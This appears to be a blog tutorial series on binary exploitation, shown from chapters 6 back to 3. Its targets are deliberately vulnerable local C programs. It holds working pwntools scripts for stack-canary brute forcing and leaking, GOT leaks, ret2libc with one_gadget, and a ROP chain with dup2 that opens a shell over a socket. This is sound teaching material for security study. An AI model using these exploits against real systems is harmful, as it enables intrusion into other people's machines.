   0x0000000000400975 <+110>:   xor    rax,QWORD PTR fs:0x28
   0x000000000040097e <+119>:   je     0x400985 <serve+126>
   0x0000000000400980 <+121>:   call   0x400760 <__stack_chk_fail@plt>
   0x0000000000400985 <+126>:   leave  
   0x0000000000400986 <+127>:   ret    
End of assembler dump.

Okay, we see at serve+17 and serve+26 that the stack cookie is loaded from fs:0x28 and it is put before the saved base pointer (rbp-0x08) on the stack. At the end of the function (serve+106) the saved stack cookie will be loaded and then compared with the original stack cookie at fs:0x28. If the stack cookie matches the original stack cookie a jump will be taken to the leave instructions and the function returns. If the stack cookie is corrupt then the __stack_chk_fail function will be called and the program aborts.
Our goal now is to leak the stack cookie to be able to overwrite the return address of the serve function. For that, we have to find out the offset to rbp-0x08 from our input buffer. We put a breakpoint on serve+110, send a cyclic pattern via pwntools and compute the offset with the value in rax.

gef➤  breakpoint *serve+110
Breakpoint 1 at 0x400975
gef➤  continue
...
$rax   : 0x6161616a61616169 ("iaaajaaa"?)
...

The offset is 1032 bytes. We can verify the offset by sending 1032 bytes of A and one B. Perfect: $rax : 0xf28cd8655c310f42 (The value should be different because the cookie is randomly chosen)
Since this is an echo service, we have now two possible ways to leak a stack cookie.

Brute Force Method

The idea for brute force is that we guess each byte of the stack cookie until we got all 8 bytes. To successfully do that, we need to distinguish between normal behavior and wrong behavior of the execution.
If we are sending B we are not getting a Goodbye! message from the application because it aborts before exiting the process in an intended way. If we are sending a null byte \x00 then the application is normally exiting and we are getting the Goodbye! message. This is all we need to distinguish between the two states of the application.

A brute force is visualized in the next figure where the red part is the static payload and the green values are our guesses for each byte. The response of the target could either be EOF - End Of File (wrong guess) or the correct message Goodbye! (correct guess, move to the next byte).

Let’s write a brute force method for the stack cookie. You can verify the stack cookie with gdb and a breakpoint at serve+110. Or you attach gdb to the process and type checksec which will print the stack cookie (feature of gef).

Please try it on your own first because the method is straightforward. If you get stuck you can still peek into the solution.

def brute_canary(msg, host, port):
    log.info("Brute force started...")
    context.log_level = "error" # ignore info. It would spam with "open connection" "connection closed"
    canary = b"\x00"
    for canary_byte in xrange(len(canary), 8): # guess 8 bytes for a 64-bit program
        for value in xrange(256): # guess values from 0-255
            while 1:
                try:
                    io = remote(host, port)
                    break
                except: # device busy exception, too many requests
                    print("[!] Connection attempt failed. New attempt in 1 second...")
                time.sleep(1)

            io.clean()
            io.send(msg + canary + pack(value, 8))
            response = ""
            try:
                response = io.recvuntil("Goodbye!")
            except EOFError:
                pass
            finally:
                io.shutdown()
                io.close()
            if "Goodbye!" in response: # correct guess
                canary += pack(value, 8)
                print("[+] [%s] = %s" % (str(canary_byte), hex(value)))
                break

    context.log_level = "info" # enable info logging again
    canary = u64(canary)
    log.info("Stack cookie is %s" % hex(canary))
    return canary

canary = brute_canary("A"*1032, "localhost", 1234)

Leak via Write

For this challenge a direct leak is possible and very simple. Since we can write past the input buffer and the stack cookie is directly behind it, we can simply overwrite the null byte of the stack cookie to print more data (strlen will return a bigger value). Then we have to parse the returned value. In the case of a null byte in the stack cookie itself we can just repeat the same function with a different offset until we get at least 8 bytes (the size of the stack cookie in 64-bit systems).
Again, try it on your own first!
Here is a function which leaks the stack cookie:

def leak_canary(offset, host, port, leaked_data=""):
    io = remote(host, port)
    io.clean()
    io.send("A"*offset+"B") # overwrite null byte with B to read more bytes ;-)
    response = bytearray("")
    try:
        while 1:
            response += bytearray(io.recv(1))
    except EOFError:
        pass
    response = response[offset:]# remove A's
    response[0] = "\x00" # Replace B with the original null byte
    if len(leaked_data) + len(response) >= 8:
        log.info("Got enough data..")
        leaked_data = str(leaked_data + response)
        stack_cookie = u64(leaked_data[:8])
        log.info("Stack cookie is %s" % hex(stack_cookie))
        return stack_cookie
    else:
        return leak_canary(offset+len(response), host, port, response) # if a second null byte is in the canary you will have to leak more data
    io.shutdown()
    io.close()

canary = leak_canary(1032, "localhost", 1234)

python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xf28cd8655c310f00

Exploit Development

For further analysis of the target, we can use the leak function or a hard-coded stack cookie because the value does not change.
If we want to use the leak function, we have to add a raw_input between the canary leak and the rest of the code to pause the execution of the script (or use pause() of pwntools). This will allow us to attach the debugger to the process. Then we will send a cyclic pattern and get the offset to the return address. (you could also use gdb.attach of pwntools)

python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
Attach now!

We got an offset of 8 which does make sense because there is only the saved base pointer in between. 0x00007ffe38898ef8│+0x0000: 0x4343434343434343 ← $rsp

Our next steps:

Leak GOT addresses to identify libc version
Compute libc base address
Get one shot gadget to get a shell
Redirect stdout/stdin to sockets
Shell :-)

To leak libc function addresses of the GOT we do the same thing as in Chapter 4. This time with write instead of puts. The third parameter is already set to 0x408 (the length of strlen()) and therefore we are lucky because we don’t have a suitable gadget to set rdx.

The file descriptor of the used socket can be obtained via shell commands:

gef➤  info proc                                       
process 49928                                         
cmdline = './cookies'                                        
cwd = '/BinaryExploitationSeries/Chapter 6'
exe = '/BinaryExploitationSeries/Chapter 6/cookies'

gef➤  !ls -l /proc/49928/fd
total 0
lrwx------ 1 work work 64 Dez  4 14:11 0 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 1 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 2 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 4 -> 'socket:[370150]' # <---- fd = 4

Now we have to put everything together.

def leak_function_address(host, port, canary, challenge_elf, function_name, count):
   payload = ''.join( ["A"*count + "\x00"*(1032-count), # set rdx to leak only 'count' bytes (strlen(input) == count) ;-)
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(0x0000000000400b83), # pop rdi ; ret
                        p64(4), # fd = 4 = socket
                        p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
                        p64(challenge_elf.got[function_name]), # address of recv in GOT
                        "A"*8, # dummy
                        p64(challenge_elf.symbols["write"]),
                        ])
      .... # send, receive and parse like last time ;-)

Now we can leak a few functions and identify the libc version via libc.blukat.me.

recv_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "recv", 8) # __recv
fork_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "fork", 8) # fork
.....

[+] Opening connection to localhost on port 1234: Done
[*] recv @ 0x7fb6b9ecfa00
[+] Opening connection to localhost on port 1234: Done
[*] fork @ 0x7fb6b9e91a50

# -> libc6_2.27-3ubuntu1_amd64
# Compute libc base as in chapter 4

Now, we know the used libc version on the server. Let’s get a one gadget and try to exploit it!

one_gadget <identified libc>
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Add another raw_input() to pause the execution and put another payload into the script.

payload = ''.join( ["\x00"*(1032),
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(libc_base + 0x4f322), # execve
                        "\x00"*150 # to meet our constraint -> rsp + 0x40 == NULL
                        ])

Then attach the debugger before execve is triggered … Perfect! We executed a shell.

gef➤  c
Continuing.
process 50645 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400986

gef➤  detach
Detaching from program: /bin/dash, process 50645

Last problem for today is that we cannot interact with the shell because it will use stdout/stdin and not our socket file descriptor. Therefore, we have to redirect stdout (1) and stdin (0) file descriptors to the socket file descriptor (4). Luckily, there is a function called dup2 which does that for us. :-)
Let’s extend our small rop chain to call dup2 for stdin and stdout.

payload = ''.join( ["\x00"*(1032),
    p64(canary),
    "B"*8, # saved base pointer
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(0), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(1), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(libc_base + 0x4f322),
    "\x00"*150
    ])

Final exploit (This time without the complete source. Follow along to get a working exploit!):

python exploit.py
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
[*] Leaking libc function addresses via GOT ...
[*] Leaked: recv @ 0x7fb6b9ecfa00
[*] Leaked: fork @ 0x7fb6b9e91a50
[*] Computing libc base address in memory...
[*] Libc base @ 0x7fb6b9dad000
[*] Spawning shell...
[*] Switching to interactive mode
$ ls
cookies
cookies.c
exploit.py

Great! We popped a shell and we can now defeat stack cookies!
Next time, we will activate more protections and we will try to bypass all of them!

Happy Hacking!

Binary Exploitation Series (5): How to leak data?

2018-11-30T00:00:00+00:00

I often read the question “How to leak data?” and I will try to give you some basic ideas on how to get some information about a target (binary, memory layout).

Format String Attacks

If you have a format string vulnerability in the given binary you can abuse that vulnerability to leak a lot of information about the target. For example, you could leak some pointers on the stack which could leak function calls to libc, a pointer to the heap or the stack itself. You can also dump the whole binary if you don’t have access to the binary and may leak sensitive content. For more information please use available resources about format string attacks and try to solve old CTF challenges.
Resources:

Off By One

In general, an off by one means that we do an operation which is one index off. In this case, we’ll write over the null byte at the end of a string.
Let’s say we have again a 32-byte buffer. We need to terminate the C string with a null byte because each string function reads until a null byte. Therefore, the valid usage of this buffer would be to read 31 bytes and adding a null byte at the end (buffer[31]=='\0'). If the logic of the code doesn’t check that the string is null-terminated (in bounds of the array), a function like puts could leak the next values on the stack/heap/data section until it reaches a null byte.
Let’s do a simple example to demonstrate the importance of the null byte:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o off_by_one off_by_one.c -no-pie -fno-stack-protector

void check_username() {
    char secret[32];
    char name[32];

    puts("Name?");
    scanf("%32s", name);
    puts("Secret?");
    scanf("%32s", secret);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
    puts(name);
}

int main(int argc, char **argv) {
    check_username();
    return 0;
}

The function check_username reads two strings with scanf (32 bytes) and prints only the name buffer. The problem here is, that scanf puts a null byte after the end of the given input (first byte of secret) if we use the whole length of the string (32 byte). Therefore, the name string will be interpreted as a longer buffer by puts because the null byte of name (first byte of the secret) will be overwritten after inserting a secret. As a result, we will print the secret too.

./off_by_one
Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Secret?
secret
OK
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsecret

The secret will be successfully leaked. Just imagine that the secret could be anything without a null byte.

Leak via Functions

We did that already in Chapter 4 when we leaked a libc function pointer of the GOT and redirected our execution flow to main to use the leaked libc address in our final exploit stage. We can abuse any function which prints or writes anything.

Overwrite Pointers

Another simple way is to overwrite pointers of other strings. For example, you have a pointer to a string in a data section of the binary. You also have a relative write out of bounds using an array in the data section. Then you could overwrite the pointer to the other string which is printed later.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 overwrite.c -o overwrite -no-pie -fno-stack-protector

char *player;
char xxx[32];

int main(int argc, char **argv) {
    puts("Welcome");
    player = malloc(32);

    scanf("%31s", player);
    printf("Hello %s\n", player);

    // here you exploit some logic or function
    // e.g. overwrite characters of another string with an index (y)
    // therefore, you could do something like
    // xxx[y] = 'a';
    // xxx[0] = 'a';
    // xxx[2] = 'a';
    // xxx[-10] = 'a';
    // xxx[500] = 'a';
    // and change the pointer of player.

    player = &puts;
    printf("%p", player); // we would just print and convert with pwntools

    return 0;
}

./overwrite
Welcome
Test
Hello Test
0x7fa728c809c0

We successfully leaked puts of libc and we could compute the libc base address for further exploitation.

Uninitialized Variables

Declaring variables without initializing them afterward could also leak memory addresses and data. For example, you have a buffer of size n and you fill the buffer with n/2 bytes. Then you’ll save the whole buffer (n) into a file byte by byte. Therefore, you’ll write n/2 bytes which are unknown into the file.
Here you can see a simple example of such a behavior.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o uninitialized_variable uninitialized_variable.c -no-pie

void check_username() {
    char name[32];
    char secret[32];

    puts("Name?");
    scanf("%32s", name);
    puts("Secret?");
    scanf("%32s", secret);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
    puts(name);
}

void x() {
    char x[32];
    for(int i=0; i<32; i++) {
        printf("%x", x[i]);
    }
}

int main(int argc, char **argv) {
    check_username();
    x();
    return 0;
}

./uninitialized_variable
Name?
AAAA
Secret?
BBBB
OK
AAAA
4242424207f001000000010000000ffffffed74000000

We successfully leaked our secret and some other values.

Brute Force

The last approach for today is brute force. In the best case, your target will fork its process because then you have a similar memory for each execution. For example, if you have a master process that forks, the child processes have always the same stack cookie. Hence, we can leak the stack cookie byte by byte (see Chapter 6).
Brute force is also useful with position-independent code. For example, you could guess the return address and the saved base pointer of the binary by brute-forcing bytes.
Let’s say our stack looks like that:

...                local parameters, buffer overflow
0x00007ffff7dd7660 saved base pointer
0x0000555555554896 return address
....               arguments
....               parent function

Let’s say that after the function returns to the parent function (0x0000555555554896) it will print “Successful”. Now, we could overwrite the least significant byte with 00, 01, 02, 03 … until we see “Successful” (60) again. Then we can overwrite the second byte and do the same again 0060, 0160, 0260, … 7660 -> “Successful”.
Now, we know an address of the stack and an address of a binary instruction in memory which is essential if you deal with position-independent code.

This post did not cover all possible ways but it gives you an idea of how to get some data in some cases. The most important thing is, that you have to be creative with everything you know about the binary and try to understand how it behaves.

Happy Hacking!

Binary Exploitation Series (4): Return to Libc

2018-11-17T00:00:00+00:00

This time we will activate non-executable stack and we’re going to build our first mini ROP-Chain to leak memory addresses! Basic ASLR is of course still enabled (only Heap and Stack randomized). I will also introduce some more features of pwntools.

Target

The target is again a simple binary where we can spot the vulnerability after a few seconds. In the function check_username we declare a 32-byte buffer to store a username. After that, we prompt the user to input a name but the fgets call reads up to 200 bytes which could lead again to a buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o chapter_4 chapter_4.c -no-pie -fno-stack-protector

void check_username() {
    char name[32];

    puts("Name?");
    fgets(name, 200, stdin);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
}

int main(int argc, char **argv) {
    check_username();
    return 0;
}

Analysis

Since we know a little bit about pwntools, thanks to the last post, and we have the source code of the target, we can directly start writing our exploit. First, import all pwntools functions and load the binary.

from pwn import *

r = process("./chapter_4")
context.binary = './chapter_4'

Then we will attach the debugger gdb again …

# attach gdb and continue
gdb.attach(r.pid, """c""")

… and we trigger the buffer overflow with a simple payload.

payload = "A"*50
r.sendline(payload)
r.interactive() # we don't want to close the application

Crashed, perfect!
Next, we try to find the offset to the return address on the stack. This can be done manually with static or dynamic analysis or we just use gdb and a really useful pwntools function. Let’s change the payload to payload = cyclic(50) and run it again. Crashed. Now we can compute the offset to the return address by taking a word (w) at the top of the stack (rsp) as an argument to pwntools’ cyclic_find function.

gef➤  x/wx $rsp
0x7ffecfec1e98:    0x6161616b

# ipython
In [1]: from pwn import *
In [2]: cyclic_find(0x6161616b)
Out[2]: 40

Ok, we have an offset of 40 to the return address of this function (32-byte buffer + 8 byte which is the saved base pointer).

Since we can’t execute our shellcode on the stack, we have to find another way. For now, we do the following steps to achieve code execution:

Leak libc pointers via GOT (Global Offset Table)
- Leak pointer to puts
Identify libc library (optional, in this case not necessary)
- Leak another pointer to fgets
- Use leaked pointers of puts and fgets to find the correct libc
Compute libc’ base address
Find a suitable one-shot gadget to achieve code execution
Maybe find suitable gadgets to modify the registers for the one-shot gadget (in this case not necessary)
Redirect execution to the vulnerable function (otherwise the executable would exit)
Exploit the same vulnerability a second time and pop a shell!

First, we have to call the function puts with a GOT address as argument to read the pointer. We can also use pwntools to support us in our exploit development. Since we exploiting the program locally we can use ldd to obtain the used libc.

# Find the used libc (obviously our local libc since this is a local challenge)
ldd ./chapter_4
        linux-vdso.so.1 (0x00007fffe21a6000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f37310e9000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f37314da000)

Next, we load the libc in our python script for later use libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") and we use pwntools features to call puts with the correct address. Since puts uses one argument we have to set the rdi register (Read more about calling conventions).

# find a suitable gadget to set rdi
ROPgadget --binary chapter_4 | grep rdi
0x00000000004006b3 : pop rdi ; ret      <--------------------------
0x0000000000400594 : scasd eax, dword ptr [rdi] ; or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret

We use the gadget to set the rdi register and call puts. This will print the address of the GOT entry and we can convert the leaked binary string to an integer with pwntools (u64(), 8 bytes unpack). Then we just have to subtract the offset of puts of our local libc to get the base address of the mapped libc in memory.

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    "C"*50])

r.clean() # clean socket buffer (read all and print)
r.sendline(payload) # send payload
r.recvuntil("OK\n") # read until OK\n
puts_leak = u64(pad_null_bytes(r.readline())) # null byte padding + unpack to integer(8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"] # compute libc base
log.info("libc base @ %s" % hex(libc_base))

r.interactive() # we don't want to close the application

Output of our script:

[+] Waiting for debugger: Done
[*] Puts @ 0x7f97bd13f9c0
[*] libc base @ 0x7f97bd0bf000      <----
[*] Switching to interactive mode

# Verify puts in gdb
p puts
$1 = {int (const char *)} 0x7f97bd13f9c0 <_IO_puts>   <----

# Verify libc base with vmmap
0x00007f97bd0bf000 0x00007f97bd2a6000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so   <----
0x00007f97bd2a6000 0x00007f97bd4a6000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4a6000 0x00007f97bd4aa000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4aa000 0x00007f97bd4ac000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so

Perfect, the addresses are the same!
If we don’t know the libc version we have to leak other addresses like fgets and strcmp and use blukat.me to identify the correct version. When we found the correct one, we can download the libc from the website. Since we do everything locally, we can just skip this part.

Before we look for a one-shot gadget, we need a way to interact with the binary after receiving the leaked addresses because ASLR would randomize the addresses on every startup again. Therefore, we just redirect the execution flow to the beginning and just exploit the buffer overflow a second time.

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

-->

Output:
[*] Puts @ 0x7f0fa54599c0
[*] libc base @ 0x7f0fa53d9000
[*] Switching to interactive mode
Name?
$  

Just copy the payload and send it again and we see the same crash as at the beginning!
Next, we have to identify a one-shot gadget. For that, we can use the program one_gadget with the identified libc.

one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Ok, we have some constraints…
If we take a look at the stack in gdb after the program crashed, we can see that the second gadget should work with its constraints, because we control the C’s (43).

x/gx $rsp+0x40
0x7ffcc4538c98:    0x4343434343434343

-> change "C"*50 to "\x00"*100 and start the script again

x/gx $rsp+0x40
0x7ffe6cdff488:    0x0000000000000000

Let’s try it..

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])

gef➤  c
Continuing.
process 9645 is executing new program: /bin/dash

We got it!

[+] Waiting for debugger: Done
[*] Puts @ 0x7f88bec589c0
[*] libc base @ 0x7f88bebd8000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s¾\x88\x7f
OK
$ ls
chapter_4  chapter_4.c    chapter_4_exploit.py

Final exploit:

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")
"""
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
one_gadget = 0x4f322

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

r.clean()
r.sendline(payload)
r.recvuntil("OK\n")
puts_leak = u64(pad_null_bytes(r.readline()[:-1])) # remove newline + null byte padding + unpack to integer (8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"]
log.info("libc base @ %s" % hex(libc_base))

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])

r.clean()
r.sendline(payload2)

r.interactive() # we don't want to close the application

Please be patient with yourself and learn slowly, so that you understand everything correctly.

Happy Hacking!

Binary Exploitation Series (3): Your first Exploit

2018-11-16T00:00:00+00:00

Our first target is a really simple binary where we have basic ASLR enabled (only Heap and Stack are randomized). For this example, we will disable other protections like non-executable memory regions or PIE to make our stack overflow easier.

Target

The following code snippet is a simple C program that reads 200 bytes from stdin to a buffer which has only a size of 16 bytes. Therefore, we can write out of bounds. We compile the target with an executable stack and no other protections. Note, that ASLR is enabled because this is on today’s operation systems most of the time the case.

#include <stdio.h>
#include <stdlib.h>

//gcc -m64 -o chapter_3 chapter_3.c -no-pie -fno-stack-protector -z execstack -masm=intel
// help function to make this task easier, ignore it
void help() {
    asm("jmp rsp");
}

int main(int argc, char **argv) {
    char buffer[16];                   // 16 byte buffer
    fgets(buffer, 200, stdin);         // bug, we'll read 200 bytes into a 16 byte buffer
    return 0;                          // triggers return / return address is overflowed
}

Analysis

First, we load the binary into gdb.

gdb -q ./chapter_3
Reading symbols from ./chapter_3...(no debugging symbols found)...done.
gef➤  checksec # to check if there are any protections
[+] checksec for '/BinaryExploitationSeries/Chapter 3/chapter_3'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef➤  disassemble main
Dump of assembler code for function main:
   0x0000000000400527 <+0>:     push   rbp
   0x0000000000400528 <+1>:     mov    rbp,rsp
   0x000000000040052b <+4>:     sub    rsp,0x20
   0x000000000040052f <+8>:     mov    DWORD PTR [rbp-0x14],edi # arg1 argc
   0x0000000000400532 <+11>:    mov    QWORD PTR [rbp-0x20],rsi # arg2 argv
   0x0000000000400536 <+15>:    mov    rdx,QWORD PTR [rip+0x200af3]        # 0x601030 <stdin@@GLIBC_2.2.5>
   0x000000000040053d <+22>:    lea    rax,[rbp-0x10] # buffer
   0x0000000000400541 <+26>:    mov    esi,0xc8 # count = 200
   0x0000000000400546 <+31>:    mov    rdi,rax
   0x0000000000400549 <+34>:    call   0x400430 <fgets@plt>
   0x000000000040054e <+39>:    mov    eax,0x0 # return value = 0
   0x0000000000400553 <+44>:    leave  
   0x0000000000400554 <+45>:    ret    
End of assembler dump.

We can see at main+22 that our buffer is stored at rbp+0x10 and is used as an argument for fgets. Let’s try to overflow the buffer. For the payload generation we will use ipython.

Payload in ipython:
In [1]: "A"*16+"B"*8+"C"*8
Out[1]: 'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC' # our payload

gef➤  run
Starting program: /BinaryExploitationSeries/Chapter 3/chapter_3
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC # our payload
...
[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV # binary crashed

gef➤  x/gx $rbp
0x4242424242424242 # rbp is overwritten with B's

gef➤  x/gx $rsp # show a giant word (64-bit value) at $rsp (stack pointer)
0x7fffffffddb8:    0x4343434343434343
# binary tried to return to 8x C's which is forbidden since 64-bit Intel architecture only uses the first
# 6 bytes to address an instruction. (0x0000414141414141)

Let’s change the return address to a valid value.

Payload: AAAAAAAAAAAAAAAABBBBBBBBCCCCC # we only send 5x C's because we have a newline (0x0a) at the end
# we can get rid of the newline if we directly use python or pipe from a file

[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000a4343434343 in ?? ()

# Now we have redirected execution to 0xa4343434343 which is an invalid address.
# We can verify the redirection with
gef➤  x/gx $rip
0xa4343434343

For the next steps, we put a breakpoint on the return instruction of the main to see our stack layout before returning.

b *main+45

Additionally, we provide some more data on the stack to have a better understanding of the data in the registers and on the stack.

New Payload: "A"*16+"B"*8+"C"*8+"D"*100

$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x4444444444444444 ("DDDDDDDD"?)
$rdx   : 0x7ffff7dd18d0      →  0x0000000000000000
$rsp   : 0x7fffffffddb8      →  "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
$rbp   : 0x4242424242424242 ("BBBBBBBB"?)
$rsi   : 0x7fffffffdda0      →  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDD[...]"
$rdi   : 0x7fffffffde25      →  0x0000000000000000
$rip   : 0x40055d            →  <main+45> ret
$r8    : 0x6022e5            →  0x0000000000000000
$r9    : 0x4444444444444444 ("DDDDDDDD"?)
$r10   : 0x4444444444444444 ("DDDDDDDD"?)
$r11   : 0x4444444444444444 ("DDDDDDDD"?)
$r12   : 0x400440            →  <_start+0> xor ebp, ebp
$r13   : 0x7fffffffde90      →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0000  $ss: 0x002b  $cs: 0x0033  $es: 0x0000  $fs: 0x0000  $ds: 0x0000  
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffddb8│+0x00: "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"     ← $rsp
0x00007fffffffddc0│+0x08: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddc8│+0x10: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd0│+0x18: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd8│+0x20: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde0│+0x28: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde8│+0x30: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddf0│+0x38: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
     0x400552 <main+34>        call   0x400430 <fgets@plt>
     0x400557 <main+39>        mov    eax, 0x0
     0x40055c <main+44>        leave  
 →   0x40055d <main+45>        ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "chapter_3", stopped, reason: BREAKPOINT

Before you read any further, be sure that you understood what ASLR (Address Space Layout Randomization) and NX (Non-Executable Stack) means.

Since we have an executable stack, we can put our shellcode directly on the stack. The problem is, that we still have ASLR enabled and therefore, can’t reliably know where our shellcode is placed. To solve this problem, we can use a so-called gadget. Gadgets are small parts of an executable section (in general instructions of the .text section) which have always a return/jmp instruction (an instruction which redirects the execution flow) at the end.
For example:

Gadget1:
pop rdx # pull an 8-byte value from the top of the stack
ret # return

Gadget2:
mov rax, rsi
JMP rax

Now, the idea is, that we can use these gadgets for our purpose. If we place the address of gadget1 as the return address of our function we can redirect the execution flow to this gadget.

Where do we find these gadgets?
We could use manual analysis of the binary to find suitable gadgets but we can also do this automatically with ropper or ROPgadget.

For this target, we need a gadget that redirects the execution flow to our buffer (best case our D’s on the stack). If we look carefully, we can see that the jmp rsp gadget of our help function is available. This gadget is perfect, because after we triggered the overflow via ret the rsp register points to the first byte of our payload after the return address which is, in fact, the first D.

